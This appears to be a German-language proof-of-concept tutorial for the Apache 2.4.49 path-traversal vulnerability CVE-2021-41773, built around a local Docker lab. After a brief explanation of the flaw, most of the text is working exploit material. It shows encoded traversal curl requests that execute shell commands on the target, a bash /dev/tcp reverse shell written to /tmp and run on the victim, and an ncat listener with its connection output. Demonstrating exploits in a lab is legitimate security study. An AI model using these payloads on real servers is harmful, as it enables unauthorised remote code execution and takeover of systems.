
Proof-of-Concept-Exploit für die Apache HTTP Server 2.4.49 Path-Traversal-Schwachstelle (CVE-2021-41773) mit Remote-Code-Ausführung und Reverse-Shell-Demonstration.
Ein Fehler wurde in einer Änderung an der Pfadnormalisierung in Apache HTTP Server 2.4.49 gefunden. Ein Angreifer könnte einen Path-Traversal-Angriff verwenden, um URLs auf Dateien außerhalb der durch Alias-ähnliche Direktiven konfigurierten Verzeichnisse abzubilden.
Wenn Dateien außerhalb dieser Verzeichnisse nicht durch die übliche Standardkonfiguration 'require all denied' geschützt sind, können diese Anfragen erfolgreich sein. Wenn CGI-Skripte auch für diese Alias-Pfade aktiviert sind, könnte dies eine Remote-Codeausführung ermöglichen.
Dieses Problem wird bekanntermaßen in freier Wildbahn ausgenutzt.
Dieses Problem betrifft nur Apache 2.4.49 und keine früheren Versionen.
Ein Path-Traversal-Angriff (auch als Verzeichnistraversierung bekannt) zielt darauf ab, auf Dateien und Verzeichnisse zuzugreifen, die außerhalb des Web-Root-Ordners gespeichert sind. Durch Manipulation von Variablen, die auf Dateien mit „Punkt-Punkt-Schrägstrich (../)“-Sequenzen und deren Variationen verweisen, oder durch Verwendung absoluter Dateipfade kann es möglich sein, auf beliebige Dateien und Verzeichnisse im Dateisystem zuzugreifen, einschließlich Anwendungsquellcode, Konfiguration und kritischer Systemdateien. Es ist zu beachten, dass der Zugriff auf Dateien durch die systembetriebliche Zugriffskontrolle eingeschränkt ist (z. B. bei gesperrten oder in Benutzung befindlichen Dateien unter Microsoft Windows).
Dieser Angriff ist auch als „Dot-Dot-Slash“, „Verzeichnistraversierung“, „Verzeichnis-Klettern“ und „Backtracking“ bekannt.
$ docker-compose build
$ docker-compose up
Bestätigen, dass es funktioniert
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Opfer : localhost:1234
Angreifer : 192.168.1.12
Laut Dokumentation ist dies ein Fehler, der es uns ermöglicht, Code aus der Ferne auszuführen (RCE).
Wir können ihn ausnutzen, indem wir ein curl mit dem cgi-bin-Ordner durchführen.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Sehen wir uns an, ob wir tatsächlich Zugriff auf den Befehl haben, sagen wir id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse Shell
Wir werden eine Reverse Shell testen, indem wir eine Bash-Datei auf dem Server des Opfers erstellen.
Nehmen wir als Beispiel die Reverse Shell in Bash aus dem PayloadsAllTheThings Repository.
Hier ist ein Beispiel :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Erstellen wir die Datei vuln.sh auf dem Rechner des Opfers im Ordner /tmp/ !
Diese Datei wird unsere Reverse Shell enthalten, die wir remote ausführen können. Sie verbindet sich mit unserem lokalen Rechner auf Port 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Sie können den Inhalt der Datei mit dem Befehl überprüfen
cat$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener mit ncat
Erstellen wir den Listener auf dem lokalen Rechner.
$ nc -lvnp 44
Es bleibt nur noch, die entfernte Datei auszuführen.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Antwort :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.